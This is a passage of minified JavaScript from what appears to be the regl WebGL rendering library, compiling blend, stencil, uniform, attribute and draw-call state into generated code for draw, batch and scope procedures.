Ar},function(Ar,br,Lr){return Ar=br.def("+",Lr,"[0]"),br=br.def("+",Lr,"[1]"),[Ar,br]});case"blend.func":return pn(function(Ar){return[_t["srcRGB"in Ar?Ar.srcRGB:Ar.src],_t["dstRGB"in Ar?Ar.dstRGB:Ar.dst],_t["srcAlpha"in Ar?Ar.srcAlpha:Ar.src],_t["dstAlpha"in Ar?Ar.dstAlpha:Ar.dst]]},function(Ar,br,Lr){function ln(Rn,Zn){return br.def('"',Rn,Zn,'" in ',Lr,"?",Lr,".",Rn,Zn,":",Lr,".",Rn)}Ar=Ar.constants.blendFuncs;var Ln=ln("src","RGB"),fn=ln("dst","RGB"),Ln=br.def(Ar,"[",Ln,"]"),On=br.def(Ar,"[",ln("src","Alpha"),"]"),fn=br.def(Ar,"[",fn,"]");return Ar=br.def(Ar,"[",ln("dst","Alpha"),"]"),[Ln,fn,On,Ar]});case"blend.equation":return pn(function(Ar){if(typeof Ar=="string")return[ea[Ar],ea[Ar]];if(typeof Ar=="object")return[ea[Ar.rgb],ea[Ar.alpha]]},function(Ar,br,Lr){var ln=Ar.constants.blendEquations,Ln=br.def(),On=br.def();return Ar=Ar.cond("typeof ",Lr,'==="string"'),Ar.then(Ln,"=",On,"=",ln,"[",Lr,"];"),Ar.else(Ln,"=",ln,"[",Lr,".rgb];",On,"=",ln,"[",Lr,".alpha];"),br(Ar),[Ln,On]});case"blend.color":return pn(function(Ar){return f(4,function(br){return+Ar[br]})},function(Ar,br,Lr){return f(4,function(ln){return br.def("+",Lr,"[",ln,"]")})});case"stencil.mask":return pn(function(Ar){return Ar|0},function(Ar,br,Lr){return br.def(Lr,"|0")});case"stencil.func":return pn(function(Ar){return[Ft[Ar.cmp||"keep"],Ar.ref||0,"mask"in Ar?Ar.mask:-1]},function(Ar,br,Lr){Ar=br.def('"cmp" in ',Lr,"?",Ar.constants.compareFuncs,"[",Lr,".cmp]",":",7680);var ln=br.def(Lr,".ref|0");return br=br.def('"mask" in ',Lr,"?",Lr,".mask|0:-1"),[Ar,ln,br]});case"stencil.opFront":case"stencil.opBack":return pn(function(Ar){return[Tn==="stencil.opBack"?1029:1028,Tt[Ar.fail||"keep"],Tt[Ar.zfail||"keep"],Tt[Ar.zpass||"keep"]]},function(Ar,br,Lr){function ln(On){return br.def('"',On,'" in ',Lr,"?",Ln,"[",Lr,".",On,"]:",7680)}var Ln=Ar.constants.stencilOps;return[Tn==="stencil.opBack"?1029:1028,ln("fail"),ln("zfail"),ln("zpass")]});case"polygonOffset.offset":return pn(function(Ar){return[Ar.factor|0,Ar.units|0]},function(Ar,br,Lr){return Ar=br.def(Lr,".factor|0"),br=br.def(Lr,".units|0"),[Ar,br]});case"cull.face":return pn(function(Ar){var br=0;return Ar==="front"?br=1028:Ar==="back"&&(br=1029),br},function(Ar,br,Lr){return br.def(Lr,'==="front"?',1028,":",1029)});case"lineWidth":return pn(function(Ar){return Ar},function(Ar,br,Lr){return Lr});case"frontFace":return pn(function(Ar){return Gt[Ar]},function(Ar,br,Lr){return br.def(Lr+'==="cw"?2304:2305')});case"colorMask":return pn(function(Ar){return Ar.map(function(br){return!!br})},function(Ar,br,Lr){return f(4,function(ln){return"!!"+Lr+"["+ln+"]"})});case"sample.coverage":return pn(function(Ar){return["value"in Ar?Ar.value:1,!!Ar.invert]},function(Ar,br,Lr){return Ar=br.def('"value" in ',Lr,"?+",Lr,".value:1"),br=br.def("!!",Lr,".invert"),[Ar,br]})}}),sn}function ur(Ht,pr){var $r=Ht.static,on=Ht.dynamic,sn={};return Object.keys($r).forEach(function(Tn){var pn=$r[Tn],nn;if(typeof pn=="number"||typeof pn=="boolean")nn=ie(function(){return pn});else if(typeof pn=="function"){var Ar=pn._reglType;Ar==="texture2d"||Ar==="textureCube"?nn=ie(function(br){return br.link(pn)}):(Ar==="framebuffer"||Ar==="framebufferCube")&&(nn=ie(function(br){return br.link(pn.color[0])}))}else w(pn)&&(nn=ie(function(br){return br.global.def("[",f(pn.length,function(Lr){return pn[Lr]}),"]")}));nn.value=pn,sn[Tn]=nn}),Object.keys(on).forEach(function(Tn){var pn=on[Tn];sn[Tn]=j(pn,function(nn,Ar){return nn.invoke(Ar,pn)})}),sn}function fr(Ht,pr){var $r=Ht.static,on=Ht.dynamic,sn={};return Object.keys($r).forEach(function(Tn){var pn=$r[Tn],nn=Vt.id(Tn),Ar=new Wn;if(W(pn))Ar.state=1,Ar.buffer=sr.getBuffer(sr.create(pn,34962,!1,!0)),Ar.type=0;else{var br=sr.getBuffer(pn);if(br)Ar.state=1,Ar.buffer=br,Ar.type=0;else if("constant"in pn){var Lr=pn.constant;Ar.buffer="null",Ar.state=2,typeof Lr=="number"?Ar.x=Lr:pt.forEach(function(Zn,ta){ta<Lr.length&&(Ar[Zn]=Lr[ta])})}else{var br=W(pn.buffer)?sr.getBuffer(sr.create(pn.buffer,34962,!1,!0)):sr.getBuffer(pn.buffer),ln=pn.offset|0,Ln=pn.stride|0,On=pn.size|0,fn=!!pn.normalized,Rn=0;"type"in pn&&(Rn=Oe[pn.type]),pn=pn.divisor|0,Ar.buffer=br,Ar.state=1,Ar.size=On,Ar.normalized=fn,Ar.type=Rn||br.dtype,Ar.offset=ln,Ar.stride=Ln,Ar.divisor=pn}}sn[Tn]=ie(function(Zn,ta){var Qn=Zn.attribCache;if(nn in Qn)return Qn[nn];var $n={isStream:!1};return Object.keys(Ar).forEach(function(oa){$n[oa]=Ar[oa]}),Ar.buffer&&($n.buffer=Zn.link(Ar.buffer),$n.type=$n.type||$n.buffer+".dtype"),Qn[nn]=$n})}),Object.keys(on).forEach(function(Tn){var pn=on[Tn];sn[Tn]=j(pn,function(nn,Ar){function br(Qn){Ar(fn[Qn],"=",Lr,".",Qn,"|0;")}var Lr=nn.invoke(Ar,pn),On=nn.shared,ln=nn.constants,Ln=On.isBufferArgs,On=On.buffer,fn={isStream:Ar.def(!1)},Rn=new Wn;Rn.state=1,Object.keys(Rn).forEach(function(Qn){fn[Qn]=Ar.def(""+Rn[Qn])});var Zn=fn.buffer,ta=fn.type;return Ar("if(",Ln,"(",Lr,")){",fn.isStream,"=true;",Zn,"=",On,".createStream(",34962,",",Lr,");",ta,"=",Zn,".dtype;","}else{",Zn,"=",On,".getBuffer(",Lr,");","if(",Zn,"){",ta,"=",Zn,".dtype;",'}else if("constant" in ',Lr,"){",fn.state,"=",2,";","if(typeof "+Lr+'.constant === "number"){',fn[pt[0]],"=",Lr,".constant;",pt.slice(1).map(function(Qn){return fn[Qn]}).join("="),"=0;","}else{",pt.map(function(Qn,$n){return fn[Qn]+"="+Lr+".constant.length>"+$n+"?"+Lr+".constant["+$n+"]:0;"}).join(""),"}}else{","if(",Ln,"(",Lr,".buffer)){",Zn,"=",On,".createStream(",34962,",",Lr,".buffer);","}else{",Zn,"=",On,".getBuffer(",Lr,".buffer);","}",ta,'="type" in ',Lr,"?",ln.glTypes,"[",Lr,".type]:",Zn,".dtype;",fn.normalized,"=!!",Lr,".normalized;"),br("size"),br("offset"),br("stride"),br("divisor"),Ar("}}"),Ar.exit("if(",fn.isStream,"){",On,".destroyStream(",Zn,");","}"),fn})}),sn}function lr(Ht){var pr=Ht.static,$r=Ht.dynamic,on={};return Object.keys(pr).forEach(function(sn){var Tn=pr[sn];on[sn]=ie(function(pn,nn){return typeof Tn=="number"||typeof Tn=="boolean"?""+Tn:pn.link(Tn)})}),Object.keys($r).forEach(function(sn){var Tn=$r[sn];on[sn]=j(Tn,function(pn,nn){return pn.invoke(nn,Tn)})}),on}function Nr(Ht,pr,$r,on,sn){function Tn(Rn){var Zn=nn[Rn];Zn&&(br[Rn]=Zn)}var pn=tr(Ht,pr),Ln=Nt(Ht),nn=rr(Ht,Ln),Ar=It(Ht),br=or(Ht),Lr=Jt(Ht,sn,pn);Tn("viewport"),Tn(yr("scissor.box"));var ln=0<Object.keys(br).length,Ln={framebuffer:Ln,draw:Ar,shader:Lr,state:br,dirty:ln,scopeVAO:null,drawVAO:null,useVAO:!1,attributes:{}};if(Ln.profile=Lt(Ht),Ln.uniforms=ur($r),Ln.drawVAO=Ln.scopeVAO=Ar.vao,!Ln.drawVAO&&Lr.program&&!pn&&Ut.angle_instanced_arrays&&Ar.static.elements){var On=!0;if(Ht=Lr.program.attributes.map(function(Rn){return Rn=pr.static[Rn],On=On&&!!Rn,Rn}),On&&0<Ht.length){var fn=wt.getVAO(wt.createVAO({attributes:Ht,elements:Ar.static.elements}));Ln.drawVAO=new Y(null,null,null,function(Rn,Zn){return Rn.link(fn)}),Ln.useVAO=!0}}return pn?Ln.useVAO=!0:Ln.attributes=fr(pr),Ln.context=lr(on),Ln}function Rr(Ht,pr,$r){var on=Ht.shared.context,sn=Ht.scope();Object.keys($r).forEach(function(Tn){pr.save(on,"."+Tn);var pn=$r[Tn].append(Ht,pr);Array.isArray(pn)?sn(on,".",Tn,"=[",pn.join(),"];"):sn(on,".",Tn,"=",pn,";")}),pr(sn)}function Cr(Ht,pr,$r,on){var nn=Ht.shared,sn=nn.gl,Tn=nn.framebuffer,pn;qr&&(pn=pr.def(nn.extensions,".webgl_draw_buffers"));var Ar=Ht.constants,nn=Ar.drawBuffer,Ar=Ar.backBuffer;Ht=$r?$r.append(Ht,pr):pr.def(Tn,".next"),on||pr("if(",Ht,"!==",Tn,".cur){"),pr("if(",Ht,"){",sn,".bindFramebuffer(",36160,",",Ht,".framebuffer);"),qr&&pr(pn,".drawBuffersWEBGL(",nn,"[",Ht,".colorAttachments.length]);"),pr("}else{",sn,".bindFramebuffer(",36160,",null);"),qr&&pr(pn,".drawBuffersWEBGL(",Ar,");"),pr("}",Tn,".cur=",Ht,";"),on||pr("}")}function vn(Ht,pr,$r){var on=Ht.shared,sn=on.gl,Tn=Ht.current,pn=Ht.next,nn=on.current,Ar=on.next,br=Ht.cond(nn,".dirty");bn.forEach(function(Lr){if(Lr=yr(Lr),!(Lr in $r.state)){var ln,Ln;if(Lr in pn){ln=pn[Lr],Ln=Tn[Lr];var On=f(un[Lr].length,function(fn){return br.def(ln,"[",fn,"]")});br(Ht.cond(On.map(function(fn,Rn){return fn+"!=="+Ln+"["+Rn+"]"}).join("||")).then(sn,".",zn[Lr],"(",On,");",On.map(function(fn,Rn){return Ln+"["+Rn+"]="+fn}).join(";"),";"))}else ln=br.def(Ar,".",Lr),On=Ht.cond(ln,"!==",nn,".",Lr),br(On),Lr in wn?On(Ht.cond(ln).then(sn,".enable(",wn[Lr],");").else(sn,".disable(",wn[Lr],");"),nn,".",Lr,"=",ln,";"):On(sn,".",zn[Lr],"(",ln,");",nn,".",Lr,"=",ln,";")}}),Object.keys($r.state).length===0&&br(nn,".dirty=false;"),pr(br)}function Ur(Ht,pr,$r,on){var sn=Ht.shared,Tn=Ht.current,pn=sn.current,nn=sn.gl,Ar;V(Object.keys($r)).forEach(function(br){var Lr=$r[br];if(!on||on(Lr)){var ln=Lr.append(Ht,pr);if(wn[br]){var Ln=wn[br];Q(Lr)?(Ar=Ht.link(ln,{stable:!0}),pr(Ht.cond(Ar).then(nn,".enable(",Ln,");").else(nn,".disable(",Ln,");")),pr(pn,".",br,"=",Ar,";")):(pr(Ht.cond(ln).then(nn,".enable(",Ln,");").else(nn,".disable(",Ln,");")),pr(pn,".",br,"=",ln,";"))}else if(w(ln)){var On=Tn[br];pr(nn,".",zn[br],"(",ln,");",ln.map(function(fn,Rn){return On+"["+Rn+"]="+fn}).join(";"),";")}else Q(Lr)?(Ar=Ht.link(ln,{stable:!0}),pr(nn,".",zn[br],"(",Ar,");",pn,".",br,"=",Ar,";")):pr(nn,".",zn[br],"(",ln,");",pn,".",br,"=",ln,";")}})}function Mn(Ht,pr){mr&&(Ht.instancing=pr.def(Ht.shared.extensions,".angle_instanced_arrays"))}function Sn(Ht,pr,$r,on,sn){function Tn(){return typeof performance>"u"?"Date.now()":"performance.now()"}function pn(Rn){On=pr.def(),Rn(On,"=",Tn(),";"),typeof sn=="string"?Rn(Lr,".count+=",sn,";"):Rn(Lr,".count++;"),Xt&&(on?(fn=pr.def(),Rn(fn,"=",Ln,".getNumPendingQueries();")):Rn(Ln,".beginQuery(",Lr,");"))}function nn(Rn){Rn(Lr,".cpuTime+=",Tn(),"-",On,";"),Xt&&(on?Rn(Ln,".pushScopeStats(",fn,",",Ln,".getNumPendingQueries(),",Lr,");"):Rn(Ln,".endQuery();"))}function Ar(Rn){var Zn=pr.def(ln,".profile");pr(ln,".profile=",Rn,";"),pr.exit(ln,".profile=",Zn,";")}var br=Ht.shared,Lr=Ht.stats,ln=br.current,Ln=br.timer;$r=$r.profile;var On,fn;if($r){if(Q($r)){$r.enable?(pn(pr),nn(pr.exit),Ar("true")):Ar("false");return}$r=$r.append(Ht,pr),Ar($r)}else $r=pr.def(ln,".profile");br=Ht.block(),pn(br),pr("if(",$r,"){",br,"}"),Ht=Ht.block(),nn(Ht),pr.exit("if(",$r,"){",Ht,"}")}function nr(Ht,pr,$r,on,sn){function Tn(Ar){switch(Ar){case 35664:case 35667:case 35671:return 2;case 35665:case 35668:case 35672:return 3;case 35666:case 35669:case 35673:return 4;default:return 1}}function pn(Ar,br,Lr){function ln(){pr("if(!",Rn,".buffer){",On,".enableVertexAttribArray(",fn,");}");var $n=Lr.type,oa;oa=Lr.size?pr.def(Lr.size,"||",br):br,pr("if(",Rn,".type!==",$n,"||",Rn,".size!==",oa,"||",Qn.map(function(Di){return Rn+"."+Di+"!=="+Lr[Di]}).join("||"),"){",On,".bindBuffer(",34962,",",Zn,".buffer);",On,".vertexAttribPointer(",[fn,oa,$n,Lr.normalized,Lr.stride,Lr.offset],");",Rn,".type=",$n,";",Rn,".size=",oa,";",Qn.map(function(Di){return Rn+"."+Di+"="+Lr[Di]+";"}).join(""),"}"),mr&&($n=Lr.divisor,pr("if(",Rn,".divisor!==",$n,"){",Ht.instancing,".vertexAttribDivisorANGLE(",[fn,$n],");",Rn,".divisor=",$n,";}"))}function Ln(){pr("if(",Rn,".buffer){",On,".disableVertexAttribArray(",fn,");",Rn,".buffer=null;","}if(",pt.map(function($n,oa){return Rn+"."+$n+"!=="+ta[oa]}).join("||"),"){",On,".vertexAttrib4f(",fn,",",ta,");",pt.map(function($n,oa){return Rn+"."+$n+"="+ta[oa]+";"}).join(""),"}")}var On=nn.gl,fn=pr.def(Ar,".location"),Rn=pr.def(nn.attributes,"[",fn,"]");Ar=Lr.state;var Zn=Lr.buffer,ta=[Lr.x,Lr.y,Lr.z,Lr.w],Qn=["buffer","normalized","offset","stride"];Ar===1?ln():Ar===2?Ln():(pr("if(",Ar,"===",1,"){"),ln(),pr("}else{"),Ln(),pr("}"))}var nn=Ht.shared;on.forEach(function(Ar){var br=Ar.name,Lr=$r.attributes[br],ln;if(Lr){if(!sn(Lr))return;ln=Lr.append(Ht,pr)}else{if(!sn(er))return;var Ln=Ht.scopeAttrib(br);ln={},Object.keys(new Wn).forEach(function(On){ln[On]=pr.def(Ln,".",On)})}pn(Ht.link(Ar),Tn(Ar.info.type),ln)})}function Sr(Ht,pr,$r,on,sn,Tn){for(var pn=Ht.shared,nn=pn.gl,Ar,br=0;br<on.length;++br){var On=on[br],Lr=On.name,ln=On.info.type,Ln=$r.uniforms[Lr],On=Ht.link(On)+".location",fn;if(Ln){if(!sn(Ln))continue;if(Q(Ln)){if(Lr=Ln.value,ln===35678||ln===35680)ln=Ht.link(Lr._texture||Lr.color[0]._texture),pr(nn,".uniform1i(",On,",",ln+".bind());"),pr.exit(ln,".unbind();");else if(ln===35674||ln===35675||ln===35676)Lr=Ht.global.def("new Float32Array(["+Array.prototype.slice.call(Lr)+"])"),Ln=2,ln===35675?Ln=3:ln===35676&&(Ln=4),pr(nn,".uniformMatrix",Ln,"fv(",On,",false,",Lr,");");else{switch(ln){case 5126:Ar="1f";break;case 35664:Ar="2f";break;case 35665:Ar="3f";break;case 35666:Ar="4f";break;case 35670:Ar="1i";break;case 5124:Ar="1i";break;case 35671:Ar="2i";break;case 35667:Ar="2i";break;case 35672:Ar="3i";break;case 35668:Ar="3i";break;case 35673:Ar="4i";break;case 35669:Ar="4i"}pr(nn,".uniform",Ar,"(",On,",",w(Lr)?Array.prototype.slice.call(Lr):Lr,");")}continue}else fn=Ln.append(Ht,pr)}else{if(!sn(er))continue;fn=pr.def(pn.uniforms,"[",Vt.id(Lr),"]")}switch(ln===35678?pr("if(",fn,"&&",fn,'._reglType==="framebuffer"){',fn,"=",fn,".color[0];","}"):ln===35680&&pr("if(",fn,"&&",fn,'._reglType==="framebufferCube"){',fn,"=",fn,".color[0];","}"),Lr=1,ln){case 35678:case 35680:ln=pr.def(fn,"._texture"),pr(nn,".uniform1i(",On,",",ln,".bind());"),pr.exit(ln,".unbind();");continue;case 5124:case 35670:Ar="1i";break;case 35667:case 35671:Ar="2i",Lr=2;break;case 35668:case 35672:Ar="3i",Lr=3;break;case 35669:case 35673:Ar="4i",Lr=4;break;case 5126:Ar="1f";break;case 35664:Ar="2f",Lr=2;break;case 35665:Ar="3f",Lr=3;break;case 35666:Ar="4f",Lr=4;break;case 35674:Ar="Matrix2fv";break;case 35675:Ar="Matrix3fv";break;case 35676:Ar="Matrix4fv"}if(Ar.charAt(0)==="M"){pr(nn,".uniform",Ar,"(",On,",");var On=Math.pow(ln-35674+2,2),Rn=Ht.global.def("new Float32Array(",On,")");Array.isArray(fn)?pr("false,(",f(On,function(Qn){return Rn+"["+Qn+"]="+fn[Qn]}),",",Rn,")"):pr("false,(Array.isArray(",fn,")||",fn," instanceof Float32Array)?",fn,":(",f(On,function(Qn){return Rn+"["+Qn+"]="+fn+"["+Qn+"]"}),",",Rn,")"),pr(");")}else{if(1<Lr){for(var ln=[],Zn=[],Ln=0;Ln<Lr;++Ln)Array.isArray(fn)?Zn.push(fn[Ln]):Zn.push(pr.def(fn+"["+Ln+"]")),Tn&&ln.push(pr.def());Tn&&pr("if(!",Ht.batchId,"||",ln.map(function(ta,Qn){return ta+"!=="+Zn[Qn]}).join("||"),"){",ln.map(function(ta,Qn){return ta+"="+Zn[Qn]+";"}).join("")),pr(nn,".uniform",Ar,"(",On,",",Zn.join(","),");")}else Tn&&(ln=pr.def(),pr("if(!",Ht.batchId,"||",ln,"!==",fn,"){",ln,"=",fn,";")),pr(nn,".uniform",Ar,"(",On,",",fn,");");Tn&&pr("}")}}}function Dr(Ht,pr,$r,on){function sn($n){var oa=Lr[$n];return oa?oa.contextDep&&on.contextDynamic||oa.propDep?oa.append(Ht,$r):oa.append(Ht,pr):pr.def(br,".",$n)}function Tn(){function $n(){$r(Zn,".drawElementsInstancedANGLE(",[Ln,fn,ta,On+"<<(("+ta+"-5121)>>1)",Rn],");")}function oa(){$r(Zn,".drawArraysInstancedANGLE(",[Ln,On,fn,Rn],");")}ln&&ln!=="null"?Qn?$n():($r("if(",ln,"){"),$n(),$r("}else{"),oa(),$r("}")):oa()}function pn(){function $n(){$r(Ar+".drawElements("+[Ln,fn,ta,On+"<<(("+ta+"-5121)>>1)"]+");")}function oa(){$r(Ar+".drawArrays("+[Ln,On,fn]+");")}ln&&ln!=="null"?Qn?$n():($r("if(",ln,"){"),$n(),$r("}else{"),oa(),$r("}")):oa()}var nn=Ht.shared,Ar=nn.gl,br=nn.draw,Lr=on.draw,ln=function(){var $n=Lr.elements,oa=pr;return $n?(($n.contextDep&&on.contextDynamic||$n.propDep)&&(oa=$r),$n=$n.append(Ht,oa),Lr.elementsActive&&oa("if("+$n+")"+Ar+".bindBuffer(34963,"+$n+".buffer.buffer);")):($n=oa.def(),oa($n,"=",br,".","elements",";","if(",$n,"){",Ar,".bindBuffer(",34963,",",$n,".buffer.buffer);}","else if(",nn.vao,".currentVAO){",$n,"=",Ht.shared.elements+".getElements("+nn.vao,".currentVAO.elements);",Qr?"":"if("+$n+")"+Ar+".bindBuffer(34963,"+$n+".buffer.buffer);","}")),$n}(),Ln=sn("primitive"),On=sn("offset"),fn=function(){var $n=Lr.count,oa=pr;return $n?(($n.contextDep&&on.contextDynamic||$n.propDep)&&(oa=$r),$n=$n.append(Ht,oa)):$n=oa.def(br,".","count"),$n}();if(typeof fn=="number"){if(fn===0)return}else $r("if(",fn,"){"),$r.exit("}");var Rn,Zn;mr&&(Rn=sn("instances"),Zn=Ht.instancing);var ta=ln+".type",Qn=Lr.elements&&Q(Lr.elements)&&!Lr.vaoActive;mr&&(typeof Rn!="number"||0<=Rn)?typeof Rn=="string"?($r("if(",Rn,">0){"),Tn(),$r("}else if(",Rn,"<0){"),pn(),$r("}")):Tn():pn()}function Ir(Ht,pr,$r,on,sn){return pr=Et(),sn=pr.proc("body",sn),mr&&(pr.instancing=sn.def(pr.shared.extensions,".angle_instanced_arrays")),Ht(pr,sn,$r,on),pr.compile().body}function Xr(Ht,pr,$r,on){Mn(Ht,pr),$r.useVAO?$r.drawVAO?pr(Ht.shared.vao,".setVAO(",$r.drawVAO.append(Ht,pr),");"):pr(Ht.shared.vao,".setVAO(",Ht.shared.vao,".targetVAO);"):(pr(Ht.shared.vao,".setVAO(null);"),nr(Ht,pr,$r,on.attributes,function(){return!0})),Sr(Ht,pr,$r,on.uniforms,function(){return!0},!1),Dr(Ht,pr,pr,$r)}function an(Ht,pr){var $r=Ht.proc("draw",1);Mn(Ht,$r),Rr(Ht,$r,pr.context),Cr(Ht,$r,pr.framebuffer),vn(Ht,$r,pr),Ur(Ht,$r,pr.state),Sn(Ht,$r,pr,!1,!0);var on=pr.shader.progVar.append(Ht,$r);if($r(Ht.shared.gl,".useProgram(",on,".program);"),pr.shader.program)Xr(Ht,$r,pr,pr.shader.program);else{$r(Ht.shared.vao,".setVAO(null);");var sn=Ht.global.def("{}"),Tn=$r.def(on,".id"),pn=$r.def(sn,"[",Tn,"]");$r(Ht.cond(pn).then(pn,".call(this,a0);").else(pn,"=",sn,"[",Tn,"]=",Ht.link(function(nn){return Ir(Xr,Ht,pr,nn,1)}),"(",on,");",pn,".call(this,a0);"))}0<Object.keys(pr.state).length&&$r(Ht.shared.current,".dirty=true;"),Ht.shared.vao&&$r(Ht.shared.vao,".setVAO(null);")}function tn(Ht,pr,$r,on){function sn(){return!0}Ht.batchId="a1",Mn(Ht,pr),nr(Ht,pr,$r,on.attributes,sn),Sr(Ht,pr,$r,on.uniforms,sn,!1),Dr(Ht,pr,pr,$r)}function gn(Ht,pr,$r,on){function sn(ln){return ln.contextDep&&pn||ln.propDep}function Tn(ln){return!sn(ln)}Mn(Ht,pr);var pn=$r.contextDep,nn=pr.def(),Ar=pr.def();Ht.shared.props=Ar,Ht.batchId=nn;var br=Ht.scope(),Lr=Ht.scope();pr(br.entry,"for(",nn,"=0;",nn,"<","a1",";++",nn,"){",Ar,"=","a0","[",nn,"];",Lr,"}",br.exit),$r.needsContext&&Rr(Ht,Lr,$r.context),$r.needsFramebuffer&&Cr(Ht,Lr,$r.framebuffer),Ur(Ht,Lr,$r.state,sn),$r.profile&&sn($r.profile)&&Sn(Ht,Lr,$r,!1,!0),on?($r.useVAO?$r.drawVAO?sn($r.drawVAO)?Lr(Ht.shared.vao,".setVAO(",$r.drawVAO.append(Ht,Lr),");"):br(Ht.shared.vao,".setVAO(",$r.drawVAO.append(Ht,br),");"):br(Ht.shared.vao,".setVAO(",Ht.shared.vao,".targetVAO);"):(br(Ht.shared.vao,".setVAO(null);"),nr(Ht,br,$r,on.attributes,Tn),nr(Ht,Lr,$r,on.attributes,sn)),Sr(Ht,br,$r,on.uniforms,Tn,!1),Sr(Ht,Lr,$r,on.uniforms,sn,!0),Dr(Ht,br,Lr,$r)):(pr=Ht.global.def("{}"),on=$r.shader.progVar.append(Ht,Lr),Ar=Lr.def(on,".id"),br=Lr.def(pr,"[",Ar,"]"),Lr(Ht.shared.gl,".useProgram(",on,".program);","if(!",br,"){",br,"=",pr,"[",Ar,"]=",Ht.link(function(ln){return Ir(tn,Ht,$r,ln,2)}),"(",on,");}",br,".call(this,a0[",nn,"],",nn,");"))}function En(Ht,pr){function $r(br){return br.contextDep&&sn||br.propDep}var on=Ht.proc("batch",2);Ht.batchId="0",Mn(Ht,on);var sn=!1,Tn=!0;Object.keys(pr.context).forEach(function(br){sn=sn||pr.context[br].propDep}),sn||(Rr(Ht,on,pr.context),Tn=!1);var pn=pr.framebuffer,nn=!1;if(pn?(pn.propDep?sn=nn=!0:pn.contextDep&&sn&&(nn=!0),nn||Cr(Ht,on,pn)):Cr(Ht,on,null),pr.state.viewport&&pr.state.viewport.propDep&&(sn=!0),vn(Ht,on,pr),Ur(Ht,on,pr.state,function(br){return!$r(br)}),pr.profile&&$r(pr.profile)||Sn(Ht,on,pr,!1,"a1"),pr.contextDep=sn,pr.needsContext=Tn,pr.needsFramebuffer=nn,Tn=pr.shader.progVar,Tn.contextDep&&sn||Tn.propDep)gn(Ht,on,pr,null);else if(Tn=Tn.append(Ht,on),on(Ht.shared.gl,".useProgram(",Tn,".program);"),pr.shader.program)gn(Ht,on,pr,pr.shader.program);else{on(Ht.shared.vao,".setVAO(null);");var pn=Ht.global.def("{}"),nn=on.def(Tn,".id"),Ar=on.def(pn,"[",nn,"]");on(Ht.cond(Ar).then(Ar,".call(this,a0,a1);").else(Ar,"=",pn,"[",nn,"]=",Ht.link(function(ln){return Ir(gn,Ht,pr,ln,2)}),"(",Tn,");",Ar,".call(this,a0,a1);"))}0<Object.keys(pr.state).length&&on(Ht.shared.current,".dirty=true;"),Ht.shared.vao&&on(Ht.shared.vao,".setVAO(null);")}function Hn(Ht,pr){function $r(nn){var Ar=pr.shader[nn];Ar&&(Ar=Ar.append(Ht,on),isNaN(Ar)?on.set(sn.shader,"."+nn,Ar):on.set(sn.shader,"."+nn,Ht.link(Ar,{stable:!0})))}var on=Ht.proc("scope",3);Ht.batchId="a2";var sn=Ht.shared,Tn=sn.current;if(Rr(Ht,on,pr.context),pr.framebuffer&&pr.framebuffer.append(Ht,on),V(Object.keys(pr.state)).forEach(function(nn){var Ar=pr.state[nn],br=Ar.append(Ht,on);w(br)?br.forEach(function(Lr,ln){isNaN(Lr)?on.set(Ht.next[nn],"["+ln+"]",Lr):on.set(Ht.next[nn],"["+ln+"]",Ht.link(Lr,{stable:!0}))}):Q(Ar)?on.set(sn.next,"."+nn,Ht.link(br,{stable:!0})):on.set(sn.next,"."+nn,br)}),Sn(Ht,on,pr,!0,!0),["elements","offset","count","instances","primitive"].forEach(function(nn){var Ar=pr.draw[nn];Ar&&(Ar=Ar.append(Ht,on),isNaN(Ar)?on.set(sn.draw,"."+nn,Ar):on.set(sn.draw,"."+nn,Ht.link(Ar),{stable:!0}))}),Object.keys(pr.uniforms).forEach(function(nn){var Ar=pr.uniforms[nn].append(Ht,on);Array.isArray(Ar)&&(Ar="["+Ar.map(function(br){return isNaN(br)?br:Ht.link(br,{stable:!0})})+"]"),on.set(sn.uniforms,"["+Ht.link(Vt.id(nn),{stable:!0})+"]",Ar)}),Object.keys(pr.attributes).forEach(function(nn){var Ar=pr.attributes[nn].append(Ht,on),br=Ht.scopeAttrib(nn);Object.keys(new Wn).forEach(function(Lr){on.set(br,"."+Lr,Ar[Lr])})}),pr.scopeVAO){var pn=pr.scopeVAO.append(Ht,on);isNaN(pn)?on.set(sn.vao,".targetVAO",pn):on.set(sn.vao,".targetVAO",Ht.link(pn,{stable:!0}))}$r("vert"),$r("frag"),0<Object.keys(pr.state).length&&(on(Tn,".dirty=true;"),on.exit(Tn,".dirty=true;")),on("a1(",Ht.shared.context,",a0,",Ht.batchId,");")}function Xn(Ht){if(typeof Ht=="object"&&!w(Ht)){for(var pr=Object.keys(Ht),$r=0;$r<pr.length;++$r)if(pe.isDynamic(Ht[pr[$r]]))return!0;return!1}}function qn(Ht,pr,$r){function on(ln,Ln){pn.forEach(function(On){var fn=sn[On];pe.isDynamic(fn)&&(fn=ln.invoke(Ln,fn),Ln(Lr,".",On,"=",fn,";"))})}var sn=pr.static[$r];if(sn&&Xn(sn)){var Tn=Ht.global,pn=Object.keys(sn),nn=!1,Ar=!1,br=!1,Lr=Ht.global.def("{}");pn.forEach(function(ln){var Ln=sn[ln];if(pe.isDynamic(Ln))typeof Ln=="function"&&(Ln=sn[ln]=pe.unbox(Ln)),ln=j(Ln,null),nn=nn||ln.thisDep,br=br||ln.propDep,Ar=Ar||ln.contextDep;else{switch(Tn(Lr,".",ln,"="),typeof Ln){case"number":Tn(Ln);break;case"string":Tn('"',Ln,'"');break;case"object":Array.isArray(Ln)&&Tn("[",Ln.join(),"]");break;default:Tn(Ht.link(Ln))}Tn(";")}}),pr.dynamic[$r]=new pe.DynamicVariable(4,{thisDep:nn,contextDep:Ar,propDep:br,ref:Lr,append:on}),delete pr.static[$r]}}var Wn=wt.Record,ea={add:32774,subtract:32778,"reverse subtract":32779};Ut.ext_blend_minmax&&(ea.min=32775,ea.max=32776);var mr=Ut.angle_instanced_arrays,qr=Ut.webgl_draw_buffers,Qr=Ut.oes_vertex_array_object,un={dirty:!0,profile:$t.profile},kn={},bn=[],wn={},zn={};Ue("dither",3024),Ue("blend.enable",3042),Ne("blend.color","blendColor",[0,0,0,0]),Ne("blend.equation","blendEquationSeparate",[32774,32774]),Ne("blend.func","blendFuncSeparate",[1,0,1,0]),Ue("depth.enable",2929,!0),Ne("depth.func","depthFunc",513),Ne("depth.range","depthRange",[0,1]),Ne("depth.mask","depthMask",!0),Ne("colorMask","colorMask",[!0,!0,!0,!0]),Ue("cull.enable",2884),Ne("cull.face","cullFace",1029),Ne("frontFace","frontFace",2305),Ne("lineWidth","lineWidth",1),Ue("polygonOffset.enable",32823),Ne("polygonOffset.offset","polygonOffset",[0,0]),Ue("sample.alpha",32926),Ue("sample.enable",32928),Ne("sample.coverage","sampleCoverage",[1,!1]),Ue("stencil.enable",2960),Ne